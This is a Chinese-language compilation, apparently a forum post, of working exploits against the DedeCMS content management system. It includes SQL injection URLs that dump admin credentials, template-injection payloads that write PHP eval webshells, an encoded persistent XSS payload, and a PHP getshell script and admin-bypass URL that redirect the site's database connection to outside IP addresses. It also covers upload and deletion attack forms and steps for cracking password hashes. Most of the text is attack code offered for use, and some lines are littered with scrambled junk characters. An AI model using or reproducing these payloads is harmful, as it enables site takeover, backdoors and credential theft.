dedecms漏洞总结

admin

2 ~/ r$ |' Y) b$ j; t) v: oDedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

' w3 m& x/ C( g, A0 x% N% j+ x& {3 T$ _% I




' S* G  H- v; R+ W, c8 x

DedeCms v5.6 嵌入恶意代码执行漏洞
/ i7 a) D1 p! s" x' V' g注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
5 u2 t9 f8 p% |, V/ I2 @a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
: _, b4 q5 @. \& D8 M$ ^1 D生成x.php 密码xiao，直接生成一句话。
# Z0 w7 T  L! V1 a" m; Y* R

2 c8 h: ~$ w7 {3 C  ]2 P


6 U8 W3 Q. C7 D" p5 u# u0 e
5 {" O3 i5 |* j

, i, a7 ?5 u. z; I0 f' D! _' MDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
) p% Q" [+ F; D1 k$ z; I  shttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7



6 B& ^: n) {$ A, r$ p2 b


% a: {7 c$ f" H% \
, w" G- Z4 O7 H/ @
: U  w; ^; B; H' E( X! y0 L+ }DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
) J7 |2 |: r4 s4 d0 M& [http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

- I, X0 _6 C% ^& S4 w3 r
7 L+ m; a+ x3 b3 W7 P5 M( t- _
9 B! Z6 w$ U$ I( V) D


; I7 U8 a9 K, RDEDECMS 全版本 gotopage变量XSS漏洞
3 v: b" `" L# J+ k6 D* d6 F1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

9 h+ u5 P- }1 T% l# @
4 w0 o+ H3 h9 X1 U6 m2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
& f' ?0 i% _8 \0 ?% e, \http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


  q4 r+ _1 D1 h1 Ghttp://v57.demo.dedecms.com/dede/login.php

) ?1 q4 z: i4 E- u% G% H& \* l
color=Red]DeDeCMS(织梦)变量覆盖getshell
2 @) Q; y4 x3 Y3 }6 |#!usr/bin/php -w
$ |7 P* ^. l) A% K7 s' V<?php
error_reporting(E_ERROR);
, A$ A1 O* G+ ~" _set_time_limit(0);
! s1 {5 R1 {3 Oprint_r('
DEDEcms Variable Coverage
7 G0 p$ G# V# q! pExploit Author: www.heixiaozi.comwww.webvul.com
);
' e) D/ ^! @# N8 i( ~" \/ u1 @echo "\r\n";
' f3 S9 a, }+ w8 {/ i3 [4 ?if($argv[2]==null){
print_r('
, ]7 \7 w! P; |% G/ D+---------------------------------------------------------------------------+
1 [5 \+ g5 G3 B1 b* bUsage: php '.$argv[0].' url aid path
* [- |3 u% e" ^; B# yaid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
! Q3 D7 r. }, r% G$ [Example:
$ ~: A& `- T! ]php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
. }" R/ o/ B$ U) p');
9 A5 s; m# H! S5 V6 F3 h: ?exit;
}
, s! M; \$ r0 V2 P1 h$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
5 j6 q# C2 G  H  U7 \Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
5 \/ b4 i5 Q& |$ a2 ^$ [7 y$ A8 d! v0 O
% w& E, q8 W5 X7 g* a
# p- m* @- |8 |+ s  e' T# T: dif($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;

- z/ N. c6 o6 v: e+ C
% {$ m! i7 ]. |# [" C6 mif($aid==3)echo "
8 D0 R# e8 Y+ }( V* n$ XShell:".$url."/$path/plus/fuck.php\n";


}else{
2 N$ A) y5 c, B3 s0 c3 ]echo "
& g2 c3 H. c& S8 i( U2 lExploit Failed \n";
}
function Getshell($url,$aid,$path){
# X. n/ H/ A6 H$id=$aid;
$host=$url;
& `0 v/ x  t" k, d  |. w+ }$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
! j$ F( D0 N" d- Q$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
" C. O, _" H# F  Y' n0 s$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
& L/ b  V6 u) j8 O$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
1 ^: x1 e7 l; Z/ Q1 r9 l+ y//$data .= "Accept-Encoding: gzip,deflate\r\n";
# [- P# @" b5 d4 O2 c$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
! G( g( c# N5 u6 _$data .= "Connection: keep-alive\r\n";
% i9 Z. i3 h9 @$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
2 m7 Q" X3 U% w' d; V5 |$ock=fsockopen($host,$port);
7 B. g; w: ~' nif (!$ock) {
4 D  W( u( {# becho "
; K9 D0 W& Z. p& J4 eNo response from ".$host."\n";
}
: ^. y+ R& W" f- {; d2 f# `8 ~/ n7 \fwrite($ock,$data);
while (!feof($ock)) {
$exp=fgets($ock, 1024);
% f4 k3 ~- {+ t7 j/ Q7 ~6 |0 e# H; Ereturn $exp;
}
}
0 }0 ]- Y6 w/ y9 @/ Y
+ ~, A) B; X: n. Y
?>
. c5 N5 g! H  o" r! A1 ~
' [7 O; i/ x' \7 v






  s9 @/ ]/ n. V/ _9 N! r
( {% o" h7 N  n& i% d8 `; E# K1 h
- K- [( `) B, f. E2 h  kDedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
, l6 y: e2 h2 x3 W, h/ q- S
* E/ C5 r4 i: S9 p
6 \2 f4 q8 W3 x4 |把上面validate=dcug改为当前的验证码，即可直接进入网站后台
$ L; `& H" |3 Q6 M2 \
6 F5 {1 A9 o8 k0 E2 w6 q1 j
- G# ]; `: m- t! a% y此漏洞的前提是必须得到后台路径才能实现
, W8 o$ h$ ~/ [1 c0 |" [
0 H* j+ S  j% c7 _. K( I


  f5 k( k% V, b5 a# j



. a! i8 L2 }$ z5 H  U( I! e. a

, G5 X. u  ?' [0 L, V0 s9 `Dedecms织梦 标签远程文件写入漏洞
4 o( H* n) j( |/ ^1 ]+ d前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

8 p+ N$ k2 T/ Y  s0 l
5 _7 C  a4 ~2 C再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
<form action="" method="post" name="QuickSearch" id="QuickSearch">
7 S: }0 L6 ?* h! M+ F7 Q) Q6 T1 ^<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
2 J( ^4 i8 f. d0 V8 c9 n<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
% M( t! R% C% Z<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
  A, N3 H0 x% C: B2 K<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
  ^# }5 b- v, h, a: U1 F* ?: i- @</form>
  B7 D  x: ]3 z( P$ C<script>
function addaction()
( q" }7 u1 A, X7 h; B7 O1 |{
document.QuickSearch.action=document.QuickSearch.doaction.value;
: N6 _; t1 B' t0 N/ y}
, e+ P3 j% T3 C* b. N</script>



! E/ C% K  C5 F8 _1 U# A, N: Q) E% C

, |) k7 t4 x2 T

* X/ r8 ?2 o3 T- j1 Q
+ B8 {2 i" [) k+ z- [5 C
/ Z; `& i( ?+ L8 r# F$ u2 A
DedeCms v5.6 嵌入恶意代码执行漏洞
; w9 K/ L& w. J6 `2 R4 v, K注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
( j' ~, Q# k4 [1 F# ja{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
) |( w) F7 S! O4 W生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
0 b* b; n2 B, @6 YDedecms <= V5.6 Final模板执行漏洞
4 z" G& C  E5 B. o/ y- \0 [9 h注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
5 R0 k- G( a7 e& V; Uuploads/userup/2/12OMX04-15A.jpg

6 ]3 u) O) ~9 h0 m
( ?4 i2 q6 x1 \$ ^模板内容是（如果限制图片格式，加gif89a）：
+ I5 w; q1 ?3 n5 y% J  X* k{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
$ `+ p" f  G% H! k; D! Y; _. H/ D7 J@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
. S1 _! |  |( A; m7 O{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
. b$ c0 C2 d, ]7 F" y<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
! O) o9 J. |; j0 p, E<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />

0 ]4 ~. w, _+ S& D( G
. K1 P8 @! m- U" y<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>


<div class="postForm">
% p/ |2 Q: }, y8 B$ K<label>标题：</label>
$ p# e) z5 p5 m- H) y<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


. j' y: p# j/ D; Q. a1 z7 f<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
; y; h) \7 C. J2 ~
$ W& z6 X+ i8 U* i6 q
<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
! I6 {9 k! t. k! K7 W& a8 p! F

<label>隶属栏目：</label>
! a7 Z* [, E, }6 z5 S<select name='typeid' size='1'>
( H, a# P- b! E: K2 f, [4 n- P<option value='1' class='option3' selected=''>测试栏目</option>
( L$ I+ @# m1 p; n3 \; v1 H" ~8 `) n</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)


: ^2 q  c. J0 M+ [<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>


<label>信息摘要：</label>
8 s# u8 x: U5 {8 u7 Z4 ~/ S2 ~<textarea name="description" id="description">1111111</textarea>
9 r  N5 _6 i) H. a(内容的简要说明)
1 k) q( p% s4 K# s) Y6 Z
. k5 H% T0 z$ t' [  P5 g6 ]
7 @' V- d  }, \6 Q" b' i<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

. i! K) g7 e% v2 D' E
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
</div>


! @1 h: J0 ]4 |  k/ g3 z- l<!-- 表单操作区域 -->
# D+ H! X) f9 V5 c! |. I" k<h3 class="meTitle">详细内容</h3>


<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


<label>验证码：</label>
1 o7 ?0 y7 C) ?( k5 G  y2 ]<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />

* d8 r9 y* o/ W9 `
<button class="button2" type="submit">提交</button>
7 R& {4 V* M) a<button class="button2 ml10" type="reset">重置</button>
</div>
$ g. G+ M$ D1 O. B1 x
; N% q5 R5 x0 D; g
</div>
6 K% _' w4 w  H6 p/ B

* F7 H2 o& ?; h1 ]- |; t7 @</form>


提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
8 D! S0 |' f9 d7 o
0 _. |' a/ _& B! I% w) I; z" l+ c

/ h& n% |4 W! x" C* s6 F6 d: o( A
. B4 f! q8 _" j/ M' V# F$ ^- {/ J6 u
$ a' f4 y& D4 J: P
& z' G" O2 [# P
) n3 k, ^3 O. v8 O

% |$ {( ?& B  \! r" v
# _! |: k3 N8 p3 P, E0 K

DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
0 c3 G6 i$ L7 R1 s) \Gif89a{dede:field name='toby57' runphp='yes'}
% t3 R2 @2 V! O, E; ^phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
; Z8 M7 ^  L! i. A8 x( D<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
2 U5 u# U$ Q0 F4 ~) V9 Y<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
6 B% d0 ^+ {9 i. M% f0 _  x" v<input name="addonfile" type="file" id="addonfile"/>
  Z. B+ m; T! X+ p. Z+ T0 [! _2 Y<button class="button2" type="submit" >更改</button>
</form>
: O1 ?+ x5 l& H! e* @

  X/ l& [8 W7 n4 e构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
: B, M& Z- s. B2 q' a! `: b/ K' t发表文章，然后构造修改表单如下：

- g8 y5 H, P6 b# N) f$ e; b0 ~+ L' M
+ y3 q+ i! M* J1 O/ x<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
- h: S- x* N7 R6 s! i6 o<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
  _- }4 J$ K. N. ?8 `: W. K<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
/ i$ K% Y/ a7 {+ h% b4 A) t; H<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
! c* h( ?1 t7 b<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
% L4 F/ }* t+ ^. u0 s$ F0 d<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
7 M: \2 b% A  S: S4 ^2 o<input type='hidden' name='dede_addonfields' value="templet">
' `: `4 ^, U" [+ C4 |<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
. N( p$ A- u, Q4 O+ h<button class="button2" type="submit">提交</button>
</form>
# a/ `* J6 u8 Y, O0 F

' b. q  j+ A: G: ^( f
" W0 s! O/ ~+ c# q
8 n- D' k/ u3 x5 x. B. N




; P- X1 t8 ?" O! t' `) c


- U4 U6 ?4 T3 F织梦(Dedecms)V5.6 远程文件删除漏洞
& F+ Q. a0 d1 L/ T0 @8 ]$ H4 @3 shttp://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
8 k3 [8 s" q3 V



* E+ T4 H/ Y: f% C- L" T

0 }0 y6 e2 D% M9 Y& w. w2 C

$ d1 J% w8 l8 I2 R8 p

' X; e( U+ c. s织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
% F2 k9 V/ k$ o- f$ X% t! M6 y4 r2 U

' T7 I4 B) \) z5 X
- X9 z6 T' V! v/ Q/ T
/ ~% h1 |1 [4 |2 _. Z0 B

. [) H+ ?, m" h( [- C) i$ m6 g( V9 X

: h4 i6 @1 G. x* w$ Q

DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
! l7 M" m" \- ]. v: M1 S& v0 _plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
0 d& y  Q2 i' q) I/ m



7 _/ W/ }+ n. _+ A% `0 E

$ ]) f6 E* W% I
4 Z3 Q5 [0 G% J0 u3 n  P

0 h& n  e9 s' Y. C
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='

! O+ u2 s% @& V. e$ _, M4 Q
0 v% y$ E4 w7 k+ Z

. d- f# ^& i/ Z  E& B




3 R6 w3 P# C4 g
! W( l0 O8 K  c% Q$ J8 s织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
" c7 K  m9 |. h' v. u7 M6 s<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
- D/ x! y6 W& @$ C0 E0 y+ [<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
& E2 I" ~4 {- _  ^<input type='hidden' name='cfg_imgtype' value='php' />
. l3 u5 |, `/ n# n) _4 L<input type='hidden' name='cfg_not_allowall' value='txt' />
& P, t7 n/ ^+ f8 y! L<input type='hidden' name='cfg_softtype' value='php' />
" Q! n; y2 Q! I+ ^8 T4 E<input type='hidden' name='cfg_mediatype' value='php' />
- ~; w3 _( Z; u4 s$ D4 H, _. U) A<input type='hidden' name='f' value='form1.enclosure' />
; I3 u; l3 Y6 |) K, f: `<input type='hidden' name='job' value='upload' />
# M! ?8 e' l9 {& U5 q- E- z<input type='hidden' name='newname' value='fly.php' />
, G* `7 n: v. X/ ]9 w. \6 r* hSelect U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
6 x/ _" u' B/ Y9 U</body>
</html>



$ Y% ^# ?/ T+ W, l) J/ [. S

' C& a* ]9 K' j, N  q
0 I- y4 }* Y3 k. _2 P9 {8 ]

% U/ q( r4 K- ]

/ x# c. Z7 W% B! G) q' Z! K. W织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
7 o! K! C& m4 C. Y: bhttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
0 Q! }7 X- W$ s% W

$ x) ?1 z+ L% L& E2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
9 Y7 k) [4 ^& Eint(3) Error: Illegal double '1024e1024' value found during parsing
& u" M  x# c- `5 L+ BError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
1 c9 x9 C: a6 T6 ]  H% x, B0 V

3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

8 R0 m) j7 D0 k% u9 u: P0 {$ {+ F+ u
<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
9 U( ?# K4 R2 H6 F
' b: V6 M3 s" G* t# c+ Q% C: {) i
按确定后的看到第2步骤的信息表示文件木马上传成功.

' k& |" `: [8 ?( F3 l) K

3 k7 g4 G% ]5 F
) B( }0 K' O' I# Z
$ s/ I9 _3 G3 W* N
2 D9 I  X1 d, J* Y4 C5 B# ?2 X6 J
" g! p' Y7 y2 ]  T; R  x5 U


& R1 A! k+ s0 ], G  ]8 Y  e

织梦(DedeCms)plus/infosearch.php 文件注入漏洞
0 M6 B5 t4 c3 d9 E5 y1 q" U- h9 Jhttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*